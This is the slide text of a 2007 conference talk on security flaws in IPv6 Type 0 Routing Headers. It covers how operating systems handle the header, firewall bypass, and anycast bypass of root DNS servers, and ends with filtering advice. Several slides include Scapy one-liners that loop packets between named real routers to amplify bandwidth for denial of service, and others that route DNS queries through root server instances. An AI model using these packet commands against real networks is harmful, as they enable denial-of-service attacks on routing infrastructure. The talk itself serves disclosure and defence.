Ipv6 Routing Header Security.

IPv6 prerequisite
All about Routing Header extension
Security implications
Solutions and workaround
IPv6 Routing Header Security.
Philippe BIONDI
Arnaud EBALARD
phil(at)secdev.org / philippe.biondi(at)eads.net
arno(at)natisbad.org / arnaud.ebalard(at)eads.net
EADS Innovation Works — IW/SE/CS
IT Sec lab
Suresnes, FRANCE
CanSecWest 2007
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
1/57

IPv6 prerequisite
All about Routing Header extension
Security implications
Solutions and workaround
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
2/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
3/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Structural diﬀerences with IPv4
New header format
From 14 to 8 ﬁelds
32 bits
4 Version
8
Traffic Class
20
Flow Label
16
8
Payload Length
8
Next Header
Hop Limit
128
Source IPv6 Address
40 octets
128
Destination IPv6 Address
8
Next Header
Extension Header Information
Taille variable
Payload
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
4/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Structural diﬀerences with IPv4
Chaining and extensions
Goodbye IP options, welcome IPv6 extensions!
1
IPv6
ICMPv6
ICMPv6
Next header
IPv6
TCP
Data
2
TCP
Next header
3
IPv6
ESP
UDP
Data
ESP
UDP
Next header
Next header
Routing
Fragment
IPv6
ICMPv6
Routing
Header
Fragment
Header
ICMPv6
Header
Header
Next header
Next header
Next header
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
5/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Functional diﬀerences with IPv4
Forget all you knew about IPv4
Autoconﬁguration Mechanisms
ARP is gone. Replaced and extended by Neighbor Discovery
Broadcast replaced by link-local scope multicast
End-to-End principle
Extended address space provides global addressing
Releasing core routers from intensive computation.
Fragmentation is performed by end nodes,
Checksum computation is performed by end nodes at L4,
IPv6 header ﬁxed size simpliﬁes handling (or not).
NAT not needed under IPv6
=⇒ less stateful devices
=⇒ less Single Points of Failure
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
6/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
End-to-End is back !!!
What is diﬀerent ?
NAT removal : replaced by pure routing
Global addressing capabilities (result of extended @ space)
Direct connectivity
not only client → server or client → relay ← client
Everything is done between source and destination (E2E)
Mandatory L4 Checksum
Fragmentation
Extension header handling
=⇒ To limit core routers load, default case is easier to handle.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
8/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Filtering on end points ?
Rationale
Network is ﬂat again (no more NAT)
Move from client → relay ← client towards direct connections
Pushed by new requirements : VoIP, IM, P2P, . . .
Direct connectivity implies new security requirements
IPsec implementation is mandatory in IPv6 stacks. IPsec
works natively on IPv6 networks.
Concern
Are IPv6 stacks, applications and systems robust enough to handle
global connectivity requirements ?
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
9/57

IPv6 prerequisite
All about Routing Header extension
IPv6 : the protocol
Security implications
Think diﬀerent, Think IPv6
Solutions and workaround
Cryptographic Firewall
Merging IPsec and Firewall functions
End-to-End implies new threats for clients
Leveraging current 5-tuple ﬁltering logic (src @, dst @,
protocol, src port, dst port) to add cryptographic identity.
Allowing access to that apps from that guy with that
credential (X.509 Certiﬁcate, Kerberos Token, . . . )
Limiting the attack surface to the authentication (IKE[v2])
and protection (IPsec) functions . . .
=⇒ People outside your trust domain can only target IKE/IPsec.
=⇒ Your vicinity is no more geographical but cryptographical.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
10/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
11/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Routing Header format
An address container
IPv6 speciﬁcation [RFC2460] deﬁnes Routing Header extension as
a mean for a source to list one or more intermediate nodes to be
”visited” on the way to packet’s destination.
0
8
16
24
31
Next Header
Hdr Ext Len
Routing Type
Segments Left
type-specific data
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
12/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Diﬀerent types of Routing Header
Type 0 : the evil mechanism we describe in this presentation,
that provides an extended version of IPv4 loose source routing
option.
Type 1 : deﬁned by Nimrod, an old project funded by
DARPA. This type is unused.
Type 2 : used by MIPv6 and only understood by
MIPv6-compliant stacks. Deﬁned to allow speciﬁc ﬁltering
against Type 0 Routing Header. Inoﬀensive extension.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
13/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Type 0 Routing Header
Equivalent to IPv4 lose source routing option
32 bits
8
8
8
8
Next Header
Hdr Ext Len = N
Routing Type = 0
Segments Left
32
Reserved
128
Address[1]
8 x N
bytes
128
Address[N/2]
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
14/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Type 0 Routing Header mechanism example
How a packets is modiﬁed during its travel
src: 2001:7a:78d::1
src: 2001:7a:78d::1
src: 2001:7a:78d::1
src: 2001:7a:78d::1
src: 2001:7a:78d::1
dst: 2001:7a:78d::11
dst: 2001:7a:78d::21
dst: 2001:7a:78d::31
dst: 2001:7a:78d::41
dst: 2001:7a:78d::51
nh
8
0
4
nh
8
0
3
nh
8
0
2
nh
8
0
1
nh
8
0
0
reserved
reserved
reserved
reserved
reserved
addr[1] 2001:7a:78d::21
addr[1] 2001:7a:78d::11
addr[1] 2001:7a:78d::11
addr[1] 2001:7a:78d::11
addr[1] 2001:7a:78d::11
Routing
Header
addr[2] 2001:7a:78d::31
addr[2] 2001:7a:78d::31
addr[2] 2001:7a:78d::21
addr[2] 2001:7a:78d::21
addr[2] 2001:7a:78d::21
addr[3] 2001:7a:78d::41
addr[3] 2001:7a:78d::41
addr[3] 2001:7a:78d::41
addr[3] 2001:7a:78d::31
addr[3] 2001:7a:78d::31
addr[4] 2001:7a:78d::51
addr[4] 2001:7a:78d::51
addr[4] 2001:7a:78d::51
addr[4] 2001:7a:78d::51
addr[4] 2001:7a:78d::41
2001:7a:78d::1
2001:7a:78d::11
2001:7a:78d::21
2001:7a:78d::31
2001:7a:78d::41
2001:7a:78d::51
packet source
specified router
non-specified router
packet final destination
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
15/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
The Node, the Host and the Router
Deﬁnitions (extracted from [RFC2460])
Node : “a device that implements IPv6”.
Router : “a node that forwards IPv6 packets not explicitly
addressed to itself”.
Host : “any node that is not a router”.
Like the Little Red Riding Hood
“The Routing header is used by an IPv6 source to list one or more
intermediate nodes to be ”visited” on the way to a packet’s destination.”
— from [RFC2460]
Who should process Routing Header ?
=⇒ nodes, i.e. routers . . . AND hosts
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
17/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
RH Type 0 : the bullet in the foot
Expected support
Section 4.1 of [RFC2460] : “IPv6 nodes must accept and attempt
to process extension headers in any order and occurring any
number of times in the same packet, . . .
IPv6 designers preferred useless functionalities over good sense
RH mechanism deﬁnition is 17% of the speciﬁcation !!!
RH0 related threats are not considered in [RFC2460].
Side note
L4 checksum is incorrect during transit
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
18/57

IPv6 prerequisite
Deﬁnition
All about Routing Header extension
RH odds
Security implications
RH handling by IPv6 stacks
Solutions and workaround
Quick OS support summary for Type 0 RH
How stacks handle en-route source routed packets
OS
Host
Router
Deactivable?
Linux 2.6
dropped
processed
no
FreeBSD 6.2
processed
processed
no
NetBSD 3.1
processed
processed
no
OpenBSD 4.0
processed
processed
no
MacOS X
processed
processed
no
Cisco IOS
n/a
processed
yes
Cisco PIX
n/a
dropped
n/a
Juniper RTR
n/a
processed
no
Netscreen FW
n/a
dropped
n/a
Windows XP SP2
dropped
n/a
n/a
Windows Vista
dropped
n/a
n/a
Remark #1: by “Deactivable” we do not consider ﬁrewalling, only sysctl or equivalent means
Remark #2: red indicates a problem, bold and red a big one
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
20/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
21/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Remote and boomerang traceroute
Source
IPv6 router
>>> waypoint = "2001:301:0:8002:203:47ff:fea5:3085"
>>> target = "2001:5f9:4:7:2e0:81ff:fe52:9a6b"
Natural path
>>> traceroute6(waypoint, minttl=15 , maxttl=34,
\
Forced path (using RH0)
l4=IPv6OptionHeaderRouting(addresses=[target])/
\
ICMPv6EchoRequest(data=RandString(7)))
2001:301:0:8002:203:47ff:fea5:3085
:IER
15 2001:319:2000:5000::92
3
16 2001:301:0:1c04:230:13ff:feae:5b
3
Waypoint
17 2001:301:0:4800::7800:1
3
18 2001:301:0:8002:203:47ff:fea5:3085
3
19 2001:301:0:2::6800:1
3
20 2001:301:0:1c04:20e:39ff:fee3:3400
3
21 2001:301:133::1dec:0
3
22 2001:301:901:7::18
3
23 2001:301:0:1800::2914:1
3
24 2001:319:2000:3002::21
3
25 2001:319:0:6000::19
3
26 2001:319:0:2000::cd
3
27 2001:519:0:2000::196
3
28 2001:519:0:5000::1e
3
29 2001:5f9:0:1::3:2
3
30 2001:5f9:0:1::5:2
3
31 2001:5f9:0:1::f:1
3
32 2001:5f9:0:1::14:2
3
33 2001:5f9:4:7:2e0:81ff:fe52:9a6b
129
34 2001:5f9:4:7:2e0:81ff:fe52:9a6b
129
(<Traceroute: ICMP:0 UDP:0 TCP:0 Other:20>,
Target
<Unanswered: ICMP:0 UDP:0 TCP:0 Other:0>)
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
22/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Testing Ingress ﬁltering
Checking if an ISP ﬁlters spoofed traﬃc from its clients
Idea
1
Find a reachable client’s box that supports Type 0 RH
2
Send a boomerang packet
3
If the boomerang comes back, ISP does not implement ingress
ﬁltering
The Scapy6 one-liner
>>> sr1(IPv6(src=us, dst=tgt)/
\
IPv6ExtHdrRouting(addresses=[us])/
\
ICMPv6EchoRequest())
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
23/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Finding attractors
Idea
Escape the local attraction with a RH0-friendly node far away
Once there, packets undergo attraction close to the node
Use many nodes to discover many attractors
Possible targets
DNS Root Servers: attract traﬃc to speciﬁc anycast addresses
6to4 relay routers: attract traﬃc to 2002::/16
Teredo relays: attract traﬃc to 2001:0000::/32
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
24/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
25/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Playing around in DMZ (1/2)
Facts
BSD hosts all process routing headers by default,
Firewalls are not equal regarding stateful IPv6 ﬁltering,
Firewalls are not equal regarding RH0 ﬁltering,
DMZ protection level greatly depends on many factors (OS,
policies, rulesets, architecture)
. . .
Concerns
Can I use RH0 to hide traﬃc or payload to devices ?
Can I reach an internal hidden host through a visible host ?
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
26/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Playing around in DMZ (1/2)
Can we force internal hosts to create FW state ?
5' SYN ACK to Attacker
FW Behavior ??
5
1
TCP SYN with RH0
Attacker
(dport 80)
SYN ACK to Attacker
FW
4
TCP SYN packet
forwarded to
3
WWWint
WWWint (dport 80)
RH0 2
WWWext
processing
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
27/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
28/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Save an admin, crash an IOS
Advisory ID: cisco-sa-20070124-IOS-IPv6
The evil : http://www.cisco.com/warp/public/707/
cisco-sa-20070124-IOS-IPv6.shtml
The score (CVSS) : Base Score - 10
The cure (?) : http://www.cisco.com/en/US/products/
products security response09186a00807cb0df.html
=⇒ Stupid but extremely annoying and eﬀective DoS.
=⇒ Test BGP eﬃciency ... :-(
A one packet crash for IPv6 enabled IOS-based Cisco routers.
Collapse the IPv6 Internet, plug oﬀ a country with a simple packet
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
29/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Funny game
Rules of the game
Goal
Keep an IPv6 packet as long as possible in the IPv6 Internet
routing infrastructure.
Rules
No L4 help : only IPv6 L3 infrastructure hijacking
No cheating : tunnels are banned (2002::/16, . . . )
No abuse : it’s only a game !!
Clue
It’s based on Routing Header mechanism . . .
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
30/57

32.29 seconds
32 seconds storage between the 2 routers
IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Funny game (take one)
Solution
Current high score
>>> addr1 = ’2001:4830:ff:12ea::2’
>>> addr2 = ’2001:360:1:10::2’
>>> zz=time.time();
\
a=sr1(IPv6(dst=addr2, hlim=255)/
\
IPv6OptionHeaderRouting(addresses=[addr1, addr2]*43)/
\
ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80);
\
print "%.2f seconds" % (time.time() - zz)
>>>
Link saturation / Ampliﬁcation eﬀect
4 Mbit/s upload bandwidth,
=⇒ 16 MBytes of additional traﬃc stored on the path
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
31/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Funny game (take one)
Solution
Current high score
>>> addr1 = ’2001:4830:ff:12ea::2’
>>> addr2 = ’2001:360:1:10::2’
>>> zz=time.time();
\
a=sr1(IPv6(dst=addr2, hlim=255)/
\
IPv6OptionHeaderRouting(addresses=[addr1, addr2]*43)/
\
ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80);
\
print "%.2f seconds" % (time.time() - zz)
32.29 seconds
>>>
Link saturation / Ampliﬁcation eﬀect
4 Mbit/s upload bandwidth,
32 seconds storage between the 2 routers
=⇒ 16 MBytes of additional traﬃc stored on the path
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
31/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Storage in the network
ipv6 pkt
T
R2
0 + 30s
RTT : around 700 ms, Hop Limit < 3
more than 40
round-trips
T0 ipv6 pkt
R1
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
32/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Now, let’s cheat !
6to4 : The beginning of IPv6 transition
Automatic tunneling of IPv6 traﬃc over IPv4
Direct connectivity to other 6to4 sites
Use of 6to4 relays to address native IPv6 hosts
Like other tunneling mechanisms . . .
When a packet is routed through 10 routers, IPv4 TTL is
decremented by 10 where IPv6 Hop Limit is decremented only by 1.
Reuse previous trick
Find 6to4 relays that support RH0
Take two relays with a huge RTT value
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
33/57

37.50 seconds
37.5 seconds storage on the IPv4 path between the 2 routers
IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Funny game (take two)
Solution
New high score [ cheating ]
>>> addr1 = ’2002:96b7:296::1’
>>> addr2 = ’2002:81fa:dd::1’
>>> zz=time.time();
\
a=sr1(IPv6(dst=’2001:320:1b00:1::1’, hlim=255)/
\
IPv6OptionHeaderRouting(addresses=[addr1, addr2]*43)/
\
ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80);
\
print "%.2f seconds" % (time.time() - zz)
>>>
Link saturation / Ampliﬁcation eﬀect
4 Mbit/s upload bandwidth,
,
=⇒ 4 × 37.5 = 150 Mbits stored on the path
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
34/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Funny game (take two)
Solution
New high score [ cheating ]
>>> addr1 = ’2002:96b7:296::1’
>>> addr2 = ’2002:81fa:dd::1’
>>> zz=time.time();
\
a=sr1(IPv6(dst=’2001:320:1b00:1::1’, hlim=255)/
\
IPv6OptionHeaderRouting(addresses=[addr1, addr2]*43)/
\
ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80);
\
print "%.2f seconds" % (time.time() - zz)
37.50 seconds
>>>
Link saturation / Ampliﬁcation eﬀect
4 Mbit/s upload bandwidth,
37.5 seconds storage on the IPv4 path between the 2 routers,
=⇒ 4 × 37.5 = 150 Mbits stored on the path
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
34/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Bandwidth Ampliﬁcation
Buy 4, get 352 !!!
4 Mb/s
44 round-trips per packet
R2
176 Mbit/s of
upload bandwidth
176 Mbit/s of
download bandwidth
4 Mb/s
R1
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
35/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Capacitive eﬀect
A ﬂux capacitor
tgt
35000
packets in 700ms
SYN
TCP

Capacitive effect

TCP
SYN
5000
x7
packets in 700ms
R1
R2
RTT : 700ms
Attacker 1
Attacker 2
Upload Bandwidth
Upload Bandwidth
4Mb/s
4Mb/s
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
36/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
37/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Defeating Root DNS servers anycast architecture
How does DNS architecture work ?
13 DNS Root Servers that handle TLD (all IPv4, many IPv6)
Anycast technology is used for eﬃciency and security (cf
March 2007 attack)
Not a unique cluster behind an address
Many servers speciﬁc for each geographical area (topological
internet area)
Queries routed to closest one (using BGP)
Load is also handled locally through load balancing
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
38/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Defeating Root DNS servers anycast architecture
The case of F Root DNS server IPv6 instances
Facts
Maintained by ISC
Address : 2001:500::1035
Heavy use of *BSD as host OS
15+ diﬀerent sites in the world
2 Global nodes : Palo Alto and San Francisco
13+ Local Nodes (local optimizations) : Auckland, Amsterdam,
Barcelona, Paris, Osaka, Los Angeles, London, Lisbon, New York, Munich,
Chicago, Prague, Seoul, Ottawa, . . .
Most of the load handled by global nodes .
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
39/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Where IPv6 F Root Server instances are located
Global Node
Local Node
Credit : NASA’s Earth Observatory.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
40/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Let’s practice
Few lines example
>>> FROOT="2001:500::1035"
>>> GERMANY="2001:5001:200:4::2"
>>> resp=sr1(IPv6(dst=FROOT)/UDP()/DNS(qd=DNSQR(qclass="CH",
qtype="TXT",
qname="HOSTNAME.BIND")))
>>> resp[DNS].an.rdata
’pao1a.f.root-servers.org’
Palo Alto instance !
>>> resp=sr1(IPv6(dst=GERMANY)/IPv6ExtHdrRouting(addresses=[FROOT])/
UDP()/
DNS(qd=DNSQR(qclass="CH",
qtype="TXT",
qname="HOSTNAME.BIND")))
>>> resp[DNS].an.rdata
’muc1a.f.root-servers.org’
Munich instance !
>>>
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
41/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
Defeating Root DNS servers anycast architecture
Impacts
Adding more ingredients
IPv6 bots availability : direct DoS against Local instances
Core routers bug availability : DoS against all instances by
targeting previous routers on the path.
Conclusion
Type 0 RH badly defeats security beneﬁts of anycast
Heterogeneity for Internet core routers is a requirement
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
42/57

IPv6 prerequisite
Advanced Network Discovery
All about Routing Header extension
Bypassing ﬁltering devices
Security implications
DoS
Solutions and workaround
Defeating Anycast
F root loops
Through Auckland, Amsterdam, Barcelona, and back to Auckland
>>>sr1(IPv6(dst=’2001:440:eeee:ffcf::2’, hlim=255)/
...
IPv6ExtHdrRouting(addresses=[’2001:500::1035’,
...
’2001:4088:0:3344:202:4aff:fe74:a40a’,
...
’2001:500::1035’,
...
’2001:720::250:16’,
...
’2001:500::1035’,
...
’2001:440:eeee:ffcf::2’,
...
’2001:500::1035’])/
...
UDP(dport=53, sport=RandShort())/
...
DNS( ...)
...
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
43/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
Outline
1
IPv6 prerequisite
IPv6 : the protocol
Think diﬀerent, Think IPv6
2
All about Routing Header extension
Deﬁnition
RH odds
RH handling by IPv6 stacks
3
Security implications
Advanced Network Discovery
Bypassing ﬁltering devices
DoS
Defeating Anycast
4
Solutions and workaround
Filtering RH : problems and needs
Practical ﬁltering
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
45/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
Challenges for processing Routing Header
Routing Header processing
Complexity : number and order are loosely deﬁned.
Performance cost : handling is made outside fast path for
waypoints
Position : Packets can be diﬀerent from what they will look
like on ultimate destination (checksum).
Context : limited understanding on the path make it diﬃcult
to ﬁlter
Handling : Should we say RH0 packets go to a waypoint or
through a waypoint ? Is it real routing ?
Type : totally diﬀerent semantics across diﬀerent Routing
Header types (Type 2 for MIPv6)
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
46/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
Expected Filtering capabilities
What we would like
Simple deactivation of RH processing (should be default)
Availability of ﬁltering logic based on RH Type value (MIPv6)
Limitation of extension headers nesting with low default value
Distinction between :
strictly forwarded packets we want to inspect (current
address is not one of ours)
temporarily destined packets (we are a waypoint)
Possibly, access to ﬁnal destination (interest with RH2)
Automatic handling of bad scope addresses
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
47/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
Main RH-related ﬁltering capabilities
OS
RH deactivation
RH ﬁltering
Filter on RH type
Linux 2.6
no
yes
yes
PF
no
no
no
IPFW
no
yes
no
IPFilter1
no
yes2
no
Windows
always
yes
–
IOS
yes
yes
yes
Cisco PIX
always
–
no
Netscreen
always
–
no
1Information on this row was provided by Darren Reed
2More than one occurence of a RH will ﬂag the packet as invalid
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
49/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
Conclusion
Conclusion
Type 0 RH mechanism is of no use, except for attackers
Side eﬀects against the whole Infrastructure are terrible
IPv6 designers did not learn from IPv4 on that point
IPv6 developers also forgot some IPv4 best practices
Advice
Protect yourself: prevent RH0 from ﬂowing in your networks
Protect the core: prevent your hosts to process them
Be MIPv6 friendly when possible (Type 2 RH have no impact)
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
50/57

IPv6 prerequisite
All about Routing Header extension
Filtering RH : problems and needs
Security implications
Practical ﬁltering
Solutions and workaround
That’s all folks! Thanks for
your attention.
Questions are welcome.
Big thanks to Fabrice Desclaux for 3D-foo and Guillaume Valadon
for ideas and discussions on RH issues.
phil(at)secdev.org
You can reach us at:
arno(at)natisbad.org
Getting Scapy : wget scapy.net
Getting Scapy6 : hg clone http://hg.natisbad.org/ scapy6
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
51/57

References
Details on RH ﬁltering
History
Appendices
5
References
6
Details on RH ﬁltering
7
History
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
52/57

References
Details on RH ﬁltering
History
References I
S. Deering, R. Hinden, Internet Protocol, Version 6 (IPv6)
Speciﬁcation
http://www.ietf.org/rfc/rfc2460.txt
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
53/57

References
Details on RH ﬁltering
History
Main RH related ﬁltering capabilities (1/3)
Local RH processing deactivation
Local RH processing deactivation
Linux and *BSD have sysctl for IPv4 source routing option,
but no IPv6 counterparts.
Cisco IOS provides the no ipv6 source-route command
Windows provides no mean but implements a conservative
default behavior (drops en-route packets)
Netscreen and Cisco FW drop them unconditionally.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
54/57

References
Details on RH ﬁltering
History
Main RH related ﬁltering capabilities (2/3)
Support for RH ﬁltering
